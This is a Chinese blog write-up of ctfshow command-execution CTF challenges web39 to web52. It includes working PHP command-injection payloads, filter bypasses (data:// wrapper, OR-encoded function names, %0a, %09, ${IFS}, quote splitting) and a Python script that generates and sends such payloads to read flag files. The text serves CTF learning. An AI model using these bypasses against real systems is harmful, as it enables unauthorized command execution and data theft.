ctfshow web入门 命令运行 web39---web52

ctfshow web入门 命令执行

昨天看了一下我的博客真的很恼火,不好看,还是用md来写吧

web39

在这里插入图片描述查看源代码
看到include了,还是包含(其实不是)

源代码意思是当c不含flag的时候把c当php文件运行

php伪协议绕过php文件执行
data://text/plain 绕过执行php,然后构造一个我们真正想要执行的php

构造payload:

?c=data://text/plain,<?= system("cat fl*");?>

在这里插别忘记加php入图片描述别忘记加http://

web40

第一种方法

查的可能使用的函数

localeconv():返回包含本地数字及货币格式信息的数组。其中数组中的第一个为点好“.pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排序
next():函数将内部指针指向下一元素,并输出
highlight_file():输出(#对文件进行语法高亮显示。)
show_source():输出(#对文件进行语法高亮显示。)
print_r():“print_r可以输出stirng、intfloatarrayobject,

在这里插入图片描述过滤了很多符号,但是括号好像是中文的
在这里插入图片描述日常查看文件
在这里插入图片描述查看不了那就用我们上面查到的资料
在这里插入图片描述查看文件,到手

**?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));**
第二种方法
**?c=eval(array_pop(next(get_defined_vars())));**
get_defined_vars():该函数返回一个包含当前上下文中所有已定义变量的数组。

next(get_defined_vars()):next()函数会将内部指针向前移动到数组中的下一个元素,并返回这个新指针指向的值。在这里,它获取并返回get_defined_vars()数组中的下一个元素,也就是下一个已定义变量。

array_pop(...):array_pop()函数用于弹出数组的最后一个单元,并返回这个单元的值。在此处,它会从上一步获取的变量中移除并返回最后一个元素(值)。

eval(...):这是一个危险的函数,它可以将字符串作为PHP代码执行

说白话就是读文件的,读出来之后传命令

然后传POST (c=passthru(“tac flag.php”)😉

web41

法一

在这里插入图片描述
过滤了很多符号,但是仔细观察会发现 | 灭有被过滤
但是这种构造方法我也不会哇,查一下吧
在url中**%数字**可以被当成是数字为十六进制所对应的ASCII表中的字符 例如:%73==s

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")
构造的时候只需要进行构造字母和空格就行
system("ls");
为什么不写成:("%13|%60")("%19|%60")("%13|%60")("%14|%60")...,因为这样在php语言中是不合法的

所以查看文件
不知道为什么system被禁了,根本查看不了,后面可以补法一如果我做出来之后
做出来了
在这里插入图片描述

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%00"|"%60%60%60%20%60%60%60%2a")
相当于
system("cat fla*");

在这里插入图片描述

法二
import re
import requests
if __name__ == '__main__':
    url = "http://371ec084-e7b9-4456-88c8-f8cc9bab4530.challenge.ctf.show/"		#题目地址

    a = []
    ans1 = ""
    ans2 = ""
    for i in range(0, 256):
        c = chr(i)
        tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', c, re.I)
        if tmp:
            continue
            # print(tmp.group(0))
        else:
            # 将不被过滤的字符加入a数组
            a.append(i)


    # eval("echo($c);");
    mya = "system"  # 函数名 这里修改!
    myb = "cat flag.php"  # 参数


    def myfun(k, my):
        global ans1
        global ans2
        for i in range(0, len(a)):
            for j in range(i, len(a)):
                if a[i] | a[j] == ord(my[k]):
                    ans1 += chr(a[i])
                    ans2 += chr(a[j])
                    return;

    for k in range(0, len(mya)):
        myfun(k, mya)
    data1 = "(\"" + ans1 + "\"|\"" + ans2 + "\")"
    ans1 = ""
    ans2 = ""
    for k in range(0, len(myb)):
        myfun(k, myb)
    data2 = "(\"" + ans1 + "\"|\"" + ans2 + "\")"

    # [0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-
    data = {"c": data1 + data2}
    print(data)
    r = requests.post(url=url, data=data)
    print(r.text)

web42

在这里插入图片描述由于 >/dev/null 2>&1
命令执行的结果不论正确与否都不会显示在页面上,而是被丢弃。
想让命令回显要进行分割

;     分号
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行
%0a	  换行符

构造最简单的?c=cat flag.php;

web43

在这里插入图片描述
cat和;都被 过滤
?c=ls%0a(查看)
在这里插入图片描述?c=tac flag.php%0a
在这里插入图片描述

web44

在这里插入图片描述flag过滤

?c=tac fl*%0a

在这里插入图片描述

web45

在这里插入图片描述貌似是还有空格也别绕过了,但是我会%09啊
而且Tab也可以用

?c=tac%09fl*%0a

在这里插入图片描述

web46

在这里插入图片描述数字也没了(最重要的通配符*也没了)
在这里插入图片描述

?c=tac%09fla\g.php%0a
?c=tac%09fla''g.php%0a

web47

在这里插入图片描述过滤了很多看文件的命令但是无所谓我的payload没有哈哈哈

?c=tac%09fla\g.php%0a

在这里插入图片描述

web48

在这里插入图片描述还是可以用上道题做的那个
在这里插入图片描述

web49

在这里插入图片描述还是没影响
在这里插入图片描述

web50

在这里插入图片描述还是没影响
试了一下不对,有影响因为我flag那里用来绕过的东西没了
过滤了%,所以我去查了一下怎么重新绕过空格
< 这个符号可以

?c=tac<fla''g.php||

在这里插入图片描述

web51

在这里插入图片描述tac绕过了用nl

?c=nl<fla''g.php||

在这里插入图片描述在这里插入图片描述

web52

在这里插入图片描述又想了新的一种空格替换${IFS}

?c=nl${IFS}fla''g.php||

构造ctfshow{flag_here},结果不对
那我们看一下目录
?c=ls${IFS}/|| (看根目录下面的文件)

在这里插入图片描述然后我们就直接看flag就行了
在这里插入图片描述看了个寂寞,但是回头一想我们刚才看的文件是在根目录下面所以我们应该改为
在这里插入图片描述?c=nl${IFS}/fla''g||

​ ​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/525672.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【环境变量】基本概念理解 | 查看环境变量echo | PATH的应用和修改

目录 前言 基本概念&理解 注意的点 查看环境变量的方法 PATH环境变量 PTAH应用系统指令 PTAH应用用户程序 命令行参数的修改&#xff08;内存级&#xff09; 配置文件的修改 windows环境变量 大家天天开心&#x1f642; bash进程的流程。环境变量在系统指…

C#+net微信预约挂号系统源码,掌上医院挂号,在线缴费、检查、检验报告,住院服务

微信公众号预约挂号系统、支付宝小程序预约挂号系统主要是让自费、医保患者在手机上就能实现就医全过程&#xff0c;实时预约挂号、自费、医保结算&#xff0c;同时还可以查询检查检验报告等就诊信息&#xff0c;真正实现了让信息“多跑路”&#xff0c;让群众“少跑腿”。系统…

k8s部署微服务例子

一、部署服务 需要部署minio、nacos、mysql、consul、elasticsearch、视频解析服务、nfs、skywalking-oap及ui。 二、三个微服务程序 minio服务解析视频-》上传到minio进行存储&#xff0c;构造领域对象信息保存到hive&#xff08;hive on spark&#xff09;异步处理-》元数据…

PD虚拟机软件下载:在 Mac 上流畅运行 Windows 游戏!

本想一台 MacBook 走天下&#xff0c;奈何有些软件仅提供了 Windows 端&#xff0c;在 macOS 上打不开 EXE 文件&#xff0c;比如炒股软件、会计软件、游戏、工科专业软件等。 由于苹果芯片架构的变化&#xff0c;新款 Mac 想要安装双系统已经不太现实&#xff0c;有没有更简单…

spring加载类初始化顺序

今天看spring官网的时候&#xff0c;提到了Ordered执行顺序。我当时记得PostConstruct注解会在bean加载后执行&#xff0c;现在又来了一个执行顺序&#xff0c;直接给我整蒙了。 于是我写了一个简单的dom来看看&#xff0c;它是什么&#xff1a; Service("t2ServerImpl&q…

基于单片机便携式测振仪的研制系统设计

**单片机设计介绍&#xff0c;基于单片机便携式测振仪的研制系统设计 文章目录 一 概要二、功能设计三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机便携式测振仪的研制系统设计概要主要涉及利用单片机作为核心控制器件&#xff0c;结合测振原理和技术&#x…

基于视频监管与AI智能识别技术的水利河道综合治理解决方案

一、方案介绍 TSINGSEE青犀视频水利河道综合治理解决方案是依托视频AI智能分析技术&#xff0c;利用水质/水文等传感器、高清摄像机、水利球、无人机、无人船等感知设备实时采集数据&#xff0c;并与视频能力进行联动&#xff0c;达到智能预警的目的。 TSINGSEE青犀方案以信息…

【计算机考研】408有多难?复习到什么程度才能120+?

备考计算机考研的408统考是一件需要花费精力和时间的事情&#xff0c;我想分享一些基于个人经验的备考策略&#xff0c;希望能帮助到大家。 首先&#xff0c;我将备考过程划分为三轮进行。在第一轮复习阶段&#xff0c;我每天安排3小时的时间学习机组原理和操作系统&#xff0…

何为网络协议?一图知晓网络过程。

网络协议就是计算机之间沟通的语言 为了有效地交流&#xff0c;计算机之间需要一种共同的规则或协议&#xff0c; 就像我们和老外沟通之前&#xff0c;要先商量好用哪种语言&#xff0c; 要么大家都说中文&#xff0c;要么大家都说英语&#xff0c;这才能有效地沟通。 网络协…

挖洞思路 | 账号攻击的几种常见手法

我在日常渗透时遇到个同时存在这几类问题的网站 https://www.xxxx.com/&#xff0c;该网站为某电商平台&#xff0c;合理结合几类问题&#xff0c;当时已拿到管理员权限&#xff0c;漏洞现已提交并确认修复&#xff0c;思路分享给大家。 开始之前&#xff0c;说个习惯&#xf…

springboot 反射调用ServiceImpl时报错:java.lang.NullPointerExceptio、,mapper为null【解决方法】

springboot 反射调用ServiceImpl时报错&#xff1a;java.lang.NullPointerException、mapper为null【解决方法】 问题描述问题分析解决方案创建SpringBootBeanUtil编写调用方法 executeMethod调用 总结 问题描述 在使用Spring Boot时&#xff0c;我们希望能够通过反射动态调用…

如何使用Excel搭建一套低值易耗品管理系统

低值易耗品是企业日常运营中不可或缺的一部分&#xff0c;虽然其单个价值不高&#xff0c;但因其使用频繁且数量众多&#xff0c;对其的管理同样重要。利用Excel搭建一套低值易耗品管理系统&#xff0c;不仅成本低廉&#xff0c;而且易于操作和维护。本文将指导您如何使用Excel…

GD32零基础教程第二节(点亮一个LED灯)

文章目录 前言一、GPIO介绍1.GPIO是什么2.GPIO命名规则 三、LED灯本质及原理图1.LED本质2.LED原理图分析 四、实验代码编写1.配置GPIO为输出模式的步骤2.设置GPIO电平状态函数3.具体代码编写 总结 前言 本篇文章将带大家开始学习国产芯片GD32&#xff0c;这套文章将涵盖基础篇…

如何洞悉六西格玛培训公司课程设置的全面性?

近年来&#xff0c;市面上的六西格玛培训公司琳琅满目&#xff0c;课程设置更是五花八门。如何判断一个六西格玛培训公司的课程设置是否全面&#xff0c;成为了许多企业和个人关注的焦点。本文&#xff0c;深圳天行健六西格玛培训公司有建议如下&#xff1a; 一、了解六西格玛的…

有趣的css - 暗黑模式切换按钮

大家好&#xff0c;我是 Just&#xff0c;这里是「设计师工作日常」&#xff0c;今天分享的是一个丝滑的暗黑模式切换按钮。 《有趣的css》系列最新实例通过公众号「设计师工作日常」发布。 目录 整体效果核心代码html 代码css 部分代码 完整代码如下html 页面css 样式页面渲染…

一年期单域名SSL证书怎么申请?

申请一年期单域名SSL证书的步骤如下&#xff1a; 1. 选择SSL证书提供商&#xff1a; 选择一家信誉良好、受浏览器广泛信任的SSL证书颁发机构&#xff08;CA&#xff09;&#xff0c;如JoySSL等。可以根据价格、支持服务、证书类型等因素进行比较。 单域名SSL证书-JoySSLhttps:…

ThinkPHP审计(1) 不安全的SQL注入PHP反序列化链子phar利用简单的CMS审计实例

ThinkPHP代码审计(1) 不安全的SQL注入&PHP反序列化链子phar利用&简单的CMS审计实例 文章目录 ThinkPHP代码审计(1) 不安全的SQL注入&PHP反序列化链子phar利用&简单的CMS审计实例一.Thinkphp5不安全的SQL写法二.Thinkphp3 SQL注入三.Thinkphp链5.1.x结合phar实现…

TouchGFX之容器

容器是TouchGFX中的一种组件&#xff0c;可以包含子节点&#xff08;比如控件和其他容器&#xff09;。 在TouchGFX Designer中&#xff0c;可以在Widgets&#xff08;控件&#xff09;选项卡中的containers&#xff08;容器&#xff09;类别下找到容器&#xff0c;向容器中添…

正大国际:国内做外盘qi货的人多吗?

整个中国&#xff0c;期货也就五百万个账户&#xff0c;活跃的也就两百万个&#xff0c;股票账户三亿多个 所以说在国内做期货的是真的少&#xff0c;大部分人聊天知道股票&#xff0c;期货听都没听过 这所有的国内期货账户中&#xff0c;小散户是寥寥无几的&#xff0c;基本…

content warning内容警告中文汉化快捷教程分享

content warning(内容警告)是近期steam上非常受欢迎的一款恐怖题材多人联机游戏,自4月1日上线后,一直保持较高的玩家人数,steam好评率也稳定维持在93%,可以说是4月初发售游戏中的最大黑马。本作首发虽然支持中文,不过游戏内的中文阅读体验并不完整,经常会出现中英文字幕混杂等情…